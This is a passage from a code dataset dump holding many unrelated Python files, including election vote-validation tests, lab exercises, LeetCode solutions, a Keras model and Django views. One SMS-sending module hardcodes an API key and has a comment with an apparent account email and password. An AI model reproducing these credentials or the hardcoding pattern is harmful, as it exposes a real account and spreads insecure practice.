voter.mk_genuine_vote()\n vote = adapt_vote(cryptosys, vote)\n try:\n validator.validate_genuine_vote(vote)\n messages.append('[+] Vote: Successfully validated')\n except InvalidVoteError:\n err = 'Valid vote erroneously invalidated'\n self.__fail(err)\n\n\n def test_genuine_vote_validation_failures(self):\n _, cryptosys, validator, voter, messages = self.get_context()\n\n err = 'Invalid vote failed to be detected'\n for kwargs, msg in (\n ({'corrupt_proof': True}, 'invalid encryption'),\n ({'corrupt_fingerprint': True}, 'fingerprint mismatch'),\n ):\n vote = voter.mk_genuine_vote(**kwargs)\n with self.subTest(vote=vote):\n vote = adapt_vote(cryptosys, vote)\n try:\n validator.validate_genuine_vote(vote)\n except InvalidVoteError:\n messages.append(f'[+] Vote: Invalid detected ({msg})')\n else:\n self.__fail(f'{err} ({msg})')\n\n\n def test_audit_vote_validation_success(self):\n _, cryptosys, validator, voter, messages = self.get_context()\n\n audit_vote = voter.mk_audit_vote()\n audit_vote = adapt_vote(cryptosys, audit_vote)\n missing, failed = validator.validate_audit_votes(audit_votes=[audit_vote,])\n try:\n assert not missing and not failed\n messages.append('[+] Audit-vote: Successfully validated')\n except AssertionError:\n err = 'Valid audit-vote erroneously invalidated'\n self.__fail(err)\n\n\n def test_audit_vote_validation_failures(self):\n election, cryptosys, validator, voter, messages = self.get_context()\n\n err = 'Invalid audit-vote failed to be detected'\n for kwargs, msg in (\n ({'missing': True}, 'missing secret'),\n ({'corrupt_proof': True}, 'invalid encryption'),\n ({'corrupt_alpha': True}, 'invalid secret'),\n ({'corrupt_encoding': True}, 'max-gamma exceeded'),\n ):\n if msg == 'max-gamma exceeded':\n # ~ Dramatically reduce the number of candidates so that\n # ~ decrypting the ballot with the voter's secret\n # ~ exceeds max-gamma encoding of their number\n save_candidates = election.get_candidates()\n election.set_candidates(save_candidates[:1])\n fake_nr_candidates = len(election.get_candidates())\n kwargs.update({'fake_nr_candidates': fake_nr_candidates})\n audit_vote = voter.mk_audit_vote(**kwargs)\n with self.subTest(audit_vote=audit_vote):\n audit_vote = adapt_vote(cryptosys, audit_vote)\n missing, failed = validator.validate_audit_votes((audit_vote,))\n try:\n if msg == 'missing secret':\n assert missing == [audit_vote,] and not failed\n else:\n assert not missing and failed == [audit_vote,]\n messages.append(f'[+] Audit-vote: Invalid detected ({msg})')\n except AssertionError:\n self.__fail(f'{err} ({msg})')\n if msg == 'max-gamma exceeded':\n election.set_candidates(save_candidates) # Restore for subsequent tests\n\n\nif __name__ == '__main__':\n print('\\n====================== Testing vote validations ======================')\n unittest.main()\n","sub_path":"tests/election/interfaces/test_vote_validation.py","file_name":"test_vote_validation.py","file_ext":"py","file_size_in_byte":7854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"572605460","text":"import math\n\n\n# Zad1\n\n\nclass Point:\n @property\n def x(self):\n return self.__x\n\n @x.setter\n def x(self, val):\n self.__x = val\n\n @property\n def y(self):\n return self.__y\n\n @y.setter\n def y(self, val):\n self.__y = val\n\n def __init__(self):\n self.x = 0\n self.y = 0\n\n\n# punkt = Point()\n# punkt.x = 12\n# print(punkt.x)\n\n\n# Zad2\n\ndef dek(punkt1, punkt2):\n def dek2(fun):\n def inner(p1, p2):\n if punkt1 <= p1.x <= punkt2 and punkt1 <= p1.y <= punkt2 and punkt1 <= p2.x <= punkt2 and punkt1 <= p2.y <= punkt2:\n return fun(p1, p2)\n else:\n raise ArithmeticError\n\n return inner\n\n return dek2\n\n\n@dek(-5, 5)\ndef add(p1, p2):\n p = Point()\n p.x = p1.x + p2.x\n p.y = p1.y + p2.y\n return p\n\n\np1 = Point()\np2 = Point()\np1.x = 12\np1.y = -12\n\np2.x = -2\np2.y = 2\n\n# print(add(p1, p2))\nprint(add(p2, p2))\n\n\n@dek(-5, 5)\ndef sub(p1, p2):\n p = Point()\n p.x = p1.x - p2.x\n p.y = p1.y - p2.y\n return p\n\n\n# print(sub(p2, p1))\nprint(sub(p2, p2))\n\n\n# Zad3\n\n\nclass Zad3():\n\n @staticmethod\n def count_area(p1, p2, p3, p4=None):\n if p4 is None:\n a = math.sqrt(math.pow(p1.x - p2.x, 2) + math.pow(p1.y - p2.y, 2))\n b = math.sqrt(math.pow(p2.x - p3.x, 2) + math.pow(p2.y - p3.y, 2))\n c = math.sqrt(math.pow(p3.x - p1.x, 2) + math.pow(p3.y - p1.y, 2))\n p = a + b + c\n return math.sqrt(p * (p - a) * (p - b) * (p - c))\n else:\n a = math.sqrt(math.pow(p1.x - p2.x, 2) + math.pow(p1.y - p2.y, 2))\n b = math.sqrt(math.pow(p2.x - p3.x, 2) + math.pow(p2.y - p3.y, 2))\n c = math.sqrt(math.pow(p3.x - p4.x, 2) + math.pow(p3.y - p4.y, 2))\n d = math.sqrt(math.pow(p4.x - p1.x, 2) + math.pow(p4.y - p1.y, 2))\n p = a + b + c + d\n return math.sqrt((p - a) * (p - b) * (p - c) * (p - d))\n\n @staticmethod\n def count_obwod(p1, p2, p3, p4=None):\n if p4 is None:\n a = math.sqrt(math.pow(p1.x - p2.x, 2) + math.pow(p1.y - p2.y, 2))\n b = math.sqrt(math.pow(p2.x - p3.x, 2) + math.pow(p2.y - p3.y, 2))\n c = math.sqrt(math.pow(p3.x - p1.x, 2) + math.pow(p3.y - p1.y, 2))\n return a + b + c\n else:\n a = math.sqrt(math.pow(p1.x - p2.x, 2) + math.pow(p1.y - p2.y, 2))\n b = math.sqrt(math.pow(p2.x - p3.x, 2) + math.pow(p2.y - p3.y, 2))\n c = math.sqrt(math.pow(p3.x - p4.x, 2) + math.pow(p3.y - p4.y, 2))\n d = math.sqrt(math.pow(p4.x - p1.x, 2) + math.pow(p4.y - p1.y, 2))\n return a + b + c + d\n\n\np3 = Point()\np3.x = 1\np3.y = 2\np4 = Point()\np4.x = 50\np4.y = 8\n\nprint(Zad3.count_obwod(p1, p2, p3))\nprint(Zad3.count_obwod(p1, p2, p3, p4))\n\nprint(Zad3.count_area(p1, p2, p3))\nprint(Zad3.count_area(p1, p2, p3, p4))\n\n\n# Zad4\n\n\nclass Zad4:\n counter = {}\n\n def __init__(self, fun):\n self.fun = fun\n Zad4.counter[fun] = 0\n\n def __call__(self, *args, **kwargs):\n Zad4.counter[self.fun] += 1\n self.fun(*args, **kwargs)\n\n @staticmethod\n def print_counter_static():\n for k, val in Zad4.counter.items():\n print(k, val)\n\n@Zad4\ndef fun1():\n pass\n\n@Zad4\ndef fun2():\n pass\n\n@Zad4\ndef fun3():\n pass\n\n\nfor i in range(120):\n fun1()\n for j in range(2):\n fun2()\n for k in range(9):\n fun3()\n\nprint(Zad4.print_counter_static())","sub_path":"Lab13/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"549805628","text":"\ndef decode(array, alphabet):\n return int(array in alphabet)\n\ndef num_ways(array, alphabet):\n array_len = len(array)\n ret = 0\n if array in alphabet:\n ret = 1\n #endif\n \"\"\" if array_len = 1, we cannot split it more \"\"\"\n if array_len == 1:\n return ret\n #endif\n for x in range(1, array_len):\n \"\"\" \n num_ways(---) -> \n 1: decode(-) + num_ways(--)\n 2: decode(--) + num_ways(-)\n \"\"\"\n ret += decode(array[x:], alphabet) * num_ways(array[:x], alphabet) \n #endif\n return ret\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"212070446","text":"#\n# [250] Count Univalue Subtrees\n#\n# https://leetcode.com/problems/count-univalue-subtrees/description/\n#\n# algorithms\n# Medium (44.41%)\n# Total Accepted: 23.7K\n# Total Submissions: 53.5K\n# Testcase Example: '[5,1,5,5,5,null,5]'\n#\n# Given a binary tree, count the number of uni-value subtrees.\n#\n# A Uni-value subtree means all nodes of the subtree have the same value.\n#\n# Example :\n#\n#\n# Input: root = [5,1,5,5,5,null,5]\n#\n# ⁠ 5\n# ⁠ / \\\n# ⁠ 1 5\n# ⁠ / \\ \\\n# ⁠ 5 5 5\n#\n# Output: 4\n#\n#\n#\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\n\nclass Solution:\n def countUnivalSubtrees(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\"\n if root is None:\n return 0\n self.res = 0\n self.DFS(root)\n return self.res\n\n def DFS(self, root):\n if root.left is None and root.right is None:\n self.res += 1\n return True\n if root.left is not None and root.right is not None:\n L, R = self.DFS(root.left), self.DFS(root.right)\n if L and R and root.left.val == root.val and root.right.val == root.val:\n self.res += 1\n return True\n elif root.left is not None:\n L = self.DFS(root.left)\n if L and root.left.val == root.val:\n self.res += 1\n return True\n elif root.right is not None:\n R = self.DFS(root.right)\n if R and root.right.val == root.val:\n self.res += 1\n return True\n return False\n","sub_path":"250.count-univalue-subtrees.python3.py","file_name":"250.count-univalue-subtrees.python3.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"522418444","text":"#Comma-con: takes a list and inserts commas and 'and' and outputs a string\r\n\r\ndef commaCode(values):\r\n s = ''\r\n for i in range(0, len(values) - 1):\r\n s += str(values[i]) + ', '\r\n s += 'and ' + str(values[len(values) - 1])\r\n return s\r\n\r\nvalues = [1, 2, 3, 4]\r\nresult = commaCode(values)\r\nprint(result)\r\n","sub_path":"TutFile6.py","file_name":"TutFile6.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"419256298","text":"\n# Library imports\nimport cv2\nimport numpy as np\n\n# System imports\nfrom system_manager.constants import Constants\n\nclass Transform(Constants):\n\n def __init__(self):\n \n super().__init__()\n\n def inv_map(self, frame):\n \"\"\"\n Transforms given image to top-view image (used for visual debug)\n :frame: front-view image\n :returns: transformation matrix and transformed image\n \"\"\"\n \n image = cv2.warpPerspective(frame, self.M, self.TOP_VIEW_IMAGE_DIMENSION, flags=cv2.INTER_LINEAR)\n \n return image, self.M\n\n \n def convertBack(self, x, y, w, h):\n \"\"\"\n Converts detections output into x-y coordinates\n :x, y: position of bounding box\n :w, h: height and width of bounding box\n \"\"\"\n \n xmin = int(round(x - (w / 2)))\n xmax = int(round(x + (w / 2)))\n ymin = int(round(y - (h / 2)))\n ymax = int(round(y + (h / 2)))\n return xmin, ymin, xmax, ymax\n\n def get_inv_coor_different_boundary(self,detections):\n \"\"\"\n Converts front-view coordinates (of cone) to top-view coordinates\n :detections: front-view coordinates\n :M: transformation matrix\n :returns: top-view coordinates of cones and person\n \"\"\"\n \n blue = []\n orange = []\n \n for detection in detections:\n x, y, w, h = detection[2][0],\\\n detection[2][1],\\\n detection[2][2],\\\n detection[2][3]\n xmin, ymin, xmax, ymax = self.convertBack(\n float(x), float(y), float(w), float(h))\n pt1 = (xmin, ymin)\n pt2 = (xmax, ymax)\n \n a = np.array([[( (xmax+xmin)//2 ), (ymax//1)]], dtype='float32')\n a = np.array([a])\n pointsOut = cv2.perspectiveTransform(a, self.M)\n box = int(pointsOut[0][0][0]), int(pointsOut[0][0][1])\n \n if(detection[0] == 'blue'):\n blue.append(box)\n else:\n orange.append(box)\n \n blue = sorted(blue, key=lambda k:(k[1], k[0])).copy()\n orange = sorted(orange, key=lambda k:(k[1], k[0])).copy()\n\n return blue[::-1], orange[::-1]\n\n\n","sub_path":"src/localization/transform.py","file_name":"transform.py","file_ext":"py","file_size_in_byte":2264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"473678666","text":"# coding:utf-8\n__author__ = 'jesse'\n\nimport requests\nimport ujson\nimport logging\nlogger = logging.getLogger(__name__)\n\n\ndef send_message(mobile, text, sign=u'你有课'):\n \"\"\"\n (云片网络)发送短信windy.yang@huanxunedu.com/0o9i8765\n :param\n mobile -- (str/unicode)手机号码\n text -- (str/unicode)短信内容\n sign -- (str/unicode)签名,除非您清楚您的签名可以发送成功,否则请留空,缺省为'在线外教',不需要'【】'符号\n :return\n (dict){\n rlt -- (bool)发送成功或失败\n code -- (int)返回状态码\n msg -- (str)状态说明\n success_count -- (int)发送成功数量\n }\n \"\"\"\n url = u'http://yunpian.com/v1/sms/send.json'\n apikey = u'f9d1660d31218d4dadb0bac4558df221'\n headers = {\"Content-type\": \"application/x-www-form-urlencoded\", \"Accept\": \"text/plain\"}\n sign = u'【' + sign + u'】'\n post_data = dict(apikey=apikey,\n mobile=mobile,\n text=sign+text)\n response = requests.post(url, data=post_data, headers=headers)\n if response.status_code == 200:\n rs = ujson.loads(response.content)\n if rs.get('code') == 0:\n return dict(rlt=True,\n code=0,\n msg='success',\n success_count=rs.get('result').get('count'))\n else:\n logger.info(\"API send_message failed, info: %s\", rs.get('msg'))\n return dict(rlt=False,\n code=rs.get('code'),\n msg=rs.get('msg'),\n success_count=rs.get('result').get('count'))\n else:\n logger.info(\"API send_message failed, info: %s\", response.status_code)\n return dict(rlt=False,\n code=response.status_code,\n msg='API %s HTTP Status Error' % url,\n success_count=0)\n","sub_path":"api_master_v2/app_core/thirdpart/message_yunpian.py","file_name":"message_yunpian.py","file_ext":"py","file_size_in_byte":1952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"346474186","text":"\n\ndef bubble_sort_ascending(l):\n n = len(l)\n for i in range(n):\n for j in range(1,n-i):\n if l[j] < l[j-1]:\n l[j], l[j-1] = l[j-1], l[j]\n print(l)\n\n\n\nl = [2154,65,25,3,74,3,2422]\nbubble_sort_ascending(l)\nprint(l)\n\n\n","sub_path":"bubble_sort.py","file_name":"bubble_sort.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"497101637","text":"import numpy as np\n\nfrom keras.datasets import cifar10\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense, Dropout, Activation, Flatten\nfrom keras.optimizers import RMSprop\nfrom keras.utils import np_utils\nimport keras.layers.convolutional as kcnn\n# set this to false once you have tested your code!\n# TEST = True\n\n# function to read in and process the cifar-10 data; set the\n# number of classes you want\ndef load_data(nclass):\n (X_train, y_train), (X_test, y_test) = cifar10.load_data()\n X_train = X_train.astype('float32')\n X_test = X_test.astype('float32')\n X_train /= 255\n X_test /= 255\n # down-sample to three classes\n X_train = X_train[(y_train < nclass).reshape(50000)]\n y_train = y_train[(y_train < nclass).reshape(50000)]\n X_test = X_test[(y_test < nclass).reshape(10000)]\n y_test = y_test[(y_test < nclass).reshape(10000)]\n # create responses\n Y_train = np_utils.to_categorical(y_train, nclass)\n Y_test = np_utils.to_categorical(y_test, nclass)\n if TEST:\n X_train = X_train[:1000]\n Y_train = Y_train[:1000]\n X_test = X_test[:1000]\n Y_test = Y_test[:1000]\n return X_train, Y_train, X_test, Y_test\n\n\n# Note: You'll need to do this manipulation to construct the\n# output of the autoencoder. This is because the autoencoder\n# will have a flattend dense layer on the output, and you need\n# to give Keras a flatted version of X_train\nTEST = True\n(X_train, Y_train, X_test, Y_test) = load_data(2)\nprint(X_test.shape)\nprint(Y_test.shape)\n# apply a 2x2 convolution with 64 output filters on a 256x256 image:\nX_train_auto_output = X_train.reshape(X_train.shape[0], 3072)\ndef copy_freeze_model(model, nlayers = 1):\n new_model = Sequential()\n for l in model.layers[:nlayers]:\n l.trainable = False\n new_model.add(l)\n return new_model\n\nfor i in range(1):\n model = Sequential()\n k_size = 3\n model.add(kcnn.Convolution2D(32, k_size, k_size, border_mode='same', input_shape=(3, 32, 32)))\n model.add(kcnn.MaxPooling2D(pool_size=(2,2)))\n model.add(Activation('relu'))\n\n model.add(Flatten())\n model.add(Dense(512))\n model.add(Activation('relu'))\n model.add(Dropout(0.5))\n model.add(Dense(3072))\n # model.add(Activation('softmax'))\n\n rms = RMSprop()\n model.compile(loss='mse', optimizer=rms)\n model.fit(X_train, X_train_auto_output, batch_size=32, nb_epoch=25, verbose=1,\n show_accuracy=True, validation_split=0.2)\n print('2: %d\\nClassifcation rate %02.3f\\n\\n' % (\n 1, model.evaluate(X_test, X_test.reshape(X_test.shape[0], 3072)\n , show_accuracy=True)[1]))\n\n model = copy_freeze_model(model, 3)\n model.add(Flatten())\n model.add(Dense(512))\n model.add(Activation('relu'))\n model.add(Dropout(0.5))\n model.add(Dense(2))\n model.add(Activation('softmax'))\n\n rms = RMSprop()\n model.compile(loss='categorical_crossentropy', optimizer=rms)\n model.fit(X_train, Y_train, batch_size=32, nb_epoch=25, verbose=1,\n show_accuracy=True, validation_split=0.2)\n print('2: %d\\nClassifcation rate %02.3f\\n\\n' % (\n 1, model.evaluate(X_test, Y_test)))\n\n\n\n\n","sub_path":"ws362_pset07/pset070302.py","file_name":"pset070302.py","file_ext":"py","file_size_in_byte":3180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"111166080","text":"from socket import *\n\nHOST = '127.0.0.1'\nPORT = 21567\nBUFSIZ = 1024\nADDR = (HOST, PORT)\n\ns = socket(AF_INET, SOCK_STREAM)\ns.connect(ADDR)\n\nwhile True:\n data = input('> ')\n s.send(bytes(data, 'utf-8'))\n data = s.recv(BUFSIZ)\n print(str(data, 'utf-8'))\n\n\n\n\n\n\n","sub_path":"net/socket/Client_Server/Client.py","file_name":"Client.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"480591337","text":"import re\n\nimport logging\nfrom unidecode import unidecode\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\n\nclass Constants:\n __NOT_FOUND__ = 'Not Found'\n __EMPTY__ = ''\n\ndef remove_unicode(s):\n k = []\n if isinstance(s, list):\n for item in s:\n pure_string = None\n if isinstance(item, list):\n pure_string = remove_unicode(item)\n k = k + pure_string\n else:\n pure_string = remove_unicode_from_string(item)\n if not pure_string.strip() is None:\n k.append(pure_string)\n return k\n else:\n return remove_unicode_from_string(s)\n\n'''\nReplaces unicode with a space.\n'''\ndef remove_unicode_from_string(s):\n # convert any unicode punctations.\n punctuation = {0x2018:0x27, 0x2019:0x27, 0x201C:0x22, 0x201D:0x22}\n s2 = s.translate(punctuation)\n return ''.join([i if ord(i) < 128 else ' ' for i in s2])\n\n'''\nReplaces multiple tabs with a space.\nThis processes lists recursively too.\n'''\ndef remove_tabs_spaces(s):\n k = []\n if isinstance(s, list):\n for item in s:\n if isinstance(item, list):\n pure_string = remove_tabs_spaces(item)\n k = k + pure_string\n else:\n pure_string = re.sub('\\t+', ' ', item).strip()\n if not pure_string is None:\n k.append(pure_string)\n return k\n else:\n return re.sub('\\t+', ' ', s).strip()\n\n\ndef escape_text(s):\n k = s.replace('\"','\\\\\"')\n k = k.replace(\"'\",\"\\\\'\")\n return k","sub_path":"news/news/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"80873697","text":"import os\r\n\r\ndef fib_sequence(num):\r\n if num == 0:\r\n seq = []\r\n if num == 1:\r\n seq = [1]\r\n if num == 2:\r\n seq = [1, 1]\r\n if num >= 3:\r\n seq = [1, 1]\r\n for i in range(num-2):\r\n seq.append(seq[-1]+seq[-2])\r\n return seq\r\n\r\ndef cls():\r\n os.system('cls' if os.name == 'nt' else 'clear')\r\n\r\ndef startup():\r\n cls()\r\n print('Welcome to the Fibonnaci sequence generator!')\r\n global user_input\r\n while True:\r\n try:\r\n user_input = int(input('How many numbers do you want in the Fibonnaci sequence? '))\r\n break\r\n except ValueError:\r\n print('\\nPlease write a valid number!')\r\n\r\nif __name__ == '__main__':\r\n while True:\r\n startup()\r\n print('\\nYour sequence is:')\r\n print(fib_sequence(user_input))\r\n while True:\r\n repeat = input('Do you want to try again with a different length? [y/n] ').lower()\r\n if repeat == 'y' or 'n':\r\n break\r\n if repeat == 'n':\r\n break\r\n","sub_path":"exercise13.py","file_name":"exercise13.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"209761345","text":"from rest_framework.reverse import reverse\n\ndef getHydraVocab():\n context = {\n \"hydra\": \"http://www.w3.org/ns/hydra/core#\",\n \"ApiDocumentation\": \"hydra:ApiDocumentation\",\n \"property\": {\n \"@id\": \"hydra:property\",\n \"@type\": \"@id\"\n },\n \"readonly\": \"hydra:readonly\",\n \"writeonly\": \"hydra:writeonly\",\n \"supportedClass\": \"hydra:supportedClass\",\n \"supportedProperty\": \"hydra:supportedProperty\",\n \"supportedOperation\": \"hydra:supportedOperation\",\n \"method\": \"hydra:method\",\n \"expects\": {\n \"@id\": \"hydra:expects\",\n \"@type\": \"@id\"\n },\n \"returns\": {\n \"@id\": \"hydra:returns\",\n \"@type\": \"@id\"\n },\n \"statusCodes\": \"hydra:statusCodes\",\n \"code\": \"hydra:statusCode\",\n \"rdf\": \"http://www.w3.org/1999/02/22-rdf-syntax-ns#\",\n \"rdfs\": \"http://www.w3.org/2000/01/rdf-schema#\",\n \"label\": \"rdfs:label\",\n \"Class\": \"hydra:Class\",\n \"description\": \"rdfs:comment\",\n \"domain\": {\n \"@id\": \"rdfs:domain\",\n \"@type\": \"@id\"\n },\n \"range\": {\n \"@id\": \"rdfs:range\",\n \"@type\": \"@id\"\n },\n \"Operation\": \"hydra:Operation\",\n \"subClassOf\": {\n \"@id\": \"rdfs:subClassOf\",\n \"@type\": \"@id\"\n }\n }\n return context\n\nDEFAULT_HYDRA_PREFIX = \"hydra\"\n\nclass HydraReservedWords():\n\n def __init__(self, prefix=DEFAULT_HYDRA_PREFIX, connector=\":\"):\n self.HYDRA_PREFIX = prefix\n self.CONNECTOR = connector\n\n self.ApiDocumentation = self.HYDRA_PREFIX + self.CONNECTOR + \"ApiDocumentation\"\n self.supportedClass = self.HYDRA_PREFIX + self.CONNECTOR + \"supportedClass\"\n\n self.property = self.HYDRA_PREFIX + self.CONNECTOR + \"property\"\n self.required = self.HYDRA_PREFIX + self.CONNECTOR + \"required\"\n self.readable = self.HYDRA_PREFIX + self.CONNECTOR + \"readable\"\n self.writeable = self.HYDRA_PREFIX + self.CONNECTOR + \"writeable\"\n\n self.title = self.HYDRA_PREFIX + self.CONNECTOR + \"title\"\n self.method = self.HYDRA_PREFIX + self.CONNECTOR + \"method\"\n self.expects = self.HYDRA_PREFIX + self.CONNECTOR + \"expects\"\n self.returns = self.HYDRA_PREFIX + self.CONNECTOR + \"returns\"\n self.possibleStatus = self.HYDRA_PREFIX + self.CONNECTOR + \"statusCode\"\n\n self.createResourceOperation = self.HYDRA_PREFIX + self.CONNECTOR + \"CreateResourceOperation\"\n self.replaceResourceOperation = self.HYDRA_PREFIX + self.CONNECTOR + \"ReplaceResourceOperation\"\n self.deleteResourceOperation = self.HYDRA_PREFIX + self.CONNECTOR + \"DeleteResourceOperation\"\n self.resourceOperation = self.HYDRA_PREFIX + self.CONNECTOR + \"Operation\"\n\n self.Class = self.HYDRA_PREFIX + self.CONNECTOR + \"Class\"\n self.description = self.HYDRA_PREFIX + self.CONNECTOR + \"description\"\n\n self.suportedProperty = self.HYDRA_PREFIX + self.CONNECTOR + \"suportedProperty\"\n self.suportedOperation = self.HYDRA_PREFIX + self.CONNECTOR + \"suportedOperation\"\n\n\nclass HydraPropertySerializer:\n\n h = HydraReservedWords()\n\n def __init__(self):\n self._data = []\n\n def createProperties(self):\n pass\n\n def getTypeID(self):\n return \"@id\"\n\n def getTypeBoolean(self):\n return \"http://schema.org/Boolean\"\n\n def getTypeFloat(self):\n return \"http://schema.org/Float\"\n\n def getTypeInteger(self):\n return \"http://schema.org/Integer\"\n\n def getTypeString(self):\n return \"http://schema.org/Text\"\n\n def getTypeDate(self):\n return \"http://schema.org/Date\"\n\n def getTypeDateTime(self):\n return \"http://schema.org/DateTime\"\n\n def getTypeTime(self):\n return \"http://schema.org/Time\"\n\n def addProperty(self, name=\"\", type=\"\", required=False, readable=False, writeable=False):\n property = {\n #\"@type\": type,\n self.h.property: name,\n self.h.required: required,\n self.h.readable: readable,\n self.h.writeable: writeable,\n }\n self._data.append(property)\n\n @property\n def data(self):\n self.createProperties()\n return self._data\n\n\nclass HydraMethodSerializer:\n\n h = HydraReservedWords()\n\n def __init__(self):\n self._data = []\n\n def createMethods(self):\n pass\n\n def getCreateName(self):\n return \"POST\"\n\n def getUpdateName(self):\n return \"PUT\"\n\n def getDeleteName(self):\n return \"DELETE\"\n\n def getRetrieveName(self):\n return \"GET\"\n\n def addDefaultCreateOperation(self, id=\"\", expects=\"\", returns=\"\", possible_status=[]):\n method = {\n #\"@id\": id,\n \"@type\": self.h.createResourceOperation,\n self.h.title: \"Create\",\n self.h.method: \"POST\",\n self.h.expects: expects,\n self.h.returns: returns,\n self.h.possibleStatus: possible_status\n }\n self._data.append(method)\n\n def addDefaultUpdateOperation(self, id=\"\", expects=\"\", returns=\"\", possible_status=[]):\n method = {\n #\"@id\": id,\n \"@type\": self.h.replaceResourceOperation,\n self.h.title: \"Update\",\n self.h.method: \"PUT\",\n self.h.expects: expects,\n self.h.returns: returns,\n self.h.possibleStatus: possible_status\n }\n self._data.append(method)\n\n def addDefaultDeleteOperation(self, id=\"\", possible_status=[]):\n method = {\n #\"@id\": id,\n \"@type\": self.h.deleteResourceOperation,\n self.h.title: \"Delete\",\n self.h.method: \"DELETE\",\n self.h.expects: \"\",\n self.h.returns: \"\",\n self.h.possibleStatus: possible_status\n }\n self._data.append(method)\n\n def addCustomOperation(self, id=\"\", type=\"\", title=\"Default\", httpMethod=\"GET\", expects=\"\", returns=\"\", possible_status=[]):\n method = {\n #\"@id\": id,\n \"@type\": self.h.resourceOperation,\n self.h.title: title,\n self.h.method: httpMethod,\n self.h.expects: expects,\n self.h.returns: returns,\n self.h.possibleStatus: possible_status\n }\n self._data.append(method)\n\n @property\n def data(self):\n self.createMethods()\n return self._data\n\n# remember of case using authentication\nclass HydraClassSerializer():\n\n h = HydraReservedWords()\n\n def __init__(self, request=None):\n self.request = request\n\n self._data = {}\n\n self.class_name = None\n self.is_collection = False\n self.context = \"\"\n self.description = \"\"\n\n def createProperties(self, property_serializer):\n pass\n\n def createMethods(self, method_serializer):\n pass\n\n # use this to create the entire hydra class. Overwrite this method in child class\n def createMetadata(self):\n self.baseStructure()\n\n property_serializer = HydraPropertySerializer()\n self.createProperties(property_serializer)\n self._data[self.h.suportedProperty] = property_serializer.data\n\n method_serializer = HydraMethodSerializer()\n self.createMethods(method_serializer)\n self._data[self.h.suportedOperation] = method_serializer.data\n\n def baseStructure(self):\n class_name = self.getTitle()\n if self.class_name is None:\n id = \"\"\n else:\n id = reverse('context:detail', args=[self.class_name], request=self.request)\n base = {\n \"@context\": self.getContext(),\n \"@id\": id,\n \"@type\": self.h.Class,\n self.h.title: class_name,\n self.h.description: self.description,\n self.h.suportedProperty: [],\n self.h.suportedOperation: []\n }\n self._data = base\n\n def getClassTitle(self):\n if self.class_name is not None:\n return self.class_name\n else:\n return \"\"\n\n def getTitle(self):\n if self.is_collection:\n return self.getClassTitle()+\"Collection\"\n else:\n return self.getClassTitle()\n\n @property\n def data(self):\n self.createMetadata()\n return self._data\n\n def getContext(self):\n hydraVocab = {\n self.h.HYDRA_PREFIX: reverse('hydra:hydravocab', request=self.request)\n }\n return hydraVocab\n\n\nclass HydraAPISerializer():\n\n _data = {}\n h = HydraReservedWords()\n\n vocab = \"\"\n classes_serializers = ()\n\n def createBase(self):\n id = reverse('documentation:listHydra')\n\n data = {\n \"@context\": \"\",\n \"@id\": id,\n \"@type\": self.h.ApiDocumentation,\n self.h.supportedClass: \"\"\n }\n\n self._data = data\n\n def createMetadata(self):\n self.createBase()\n self._data[self.h.supportedClass] = self.getClassesData()\n self._data[\"@context\"] = self.getContext()\n\n def getContext(self):\n return getHydraVocab()\n\n def getClassesData(self):\n classesData = []\n for aClass in self.classes_serializers:\n aInstance = aClass()\n classesData.append(aInstance.data)\n return classesData\n\n def getClassData(self, class_name):\n aClass = None\n for oneClass in self.classes_serializers:\n temp = oneClass()\n temp = temp.data\n if temp[self.h.title] == class_name:\n aClass = temp\n break\n return aClass\n\n @property\n def data(self):\n self.createMetadata()\n return self._data","sub_path":"hydra/hydra2.py","file_name":"hydra2.py","file_ext":"py","file_size_in_byte":9876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"336677280","text":"# coding=utf-8\n__author__ = 'Kang'\nfrom django.http.response import HttpResponseRedirect\nfrom django.http.response import HttpResponse\nimport os\n\n\ndef show_welcome(request):\n from django.shortcuts import render_to_response\n return render_to_response('welcome.html')\n\n\ndef meta(request):\n meta_file = '/Users/Kang/Project/python/carDataShow/meta_txt/'\n os.chdir(meta_file)\n br = open('car_show.txt', 'r')\n lines = br.readlines()\n br.close()\n from django.shortcuts import render_to_response\n return render_to_response('meta.html', {'lines': lines})\n\n\ndef do_data(request):\n meta_file = '/Users/Kang/Project/python/carDataShow/meta_txt/'\n os.chdir(meta_file)\n br = open('car_show.txt', 'r')\n bw = open('/Users/Kang/Temp/car_tans.txt', 'w')\n lines = br.readlines()\n lines = [line.replace(',', '\\t') for line in lines]\n bw.writelines(lines)\n br.close\n bw.close\n ok = '数据转换成功!'\n from django.shortcuts import render_to_response\n return render_to_response('welcome.html', {'ok': ok})\n\n\ndef meta_transed(request):\n meta_file = 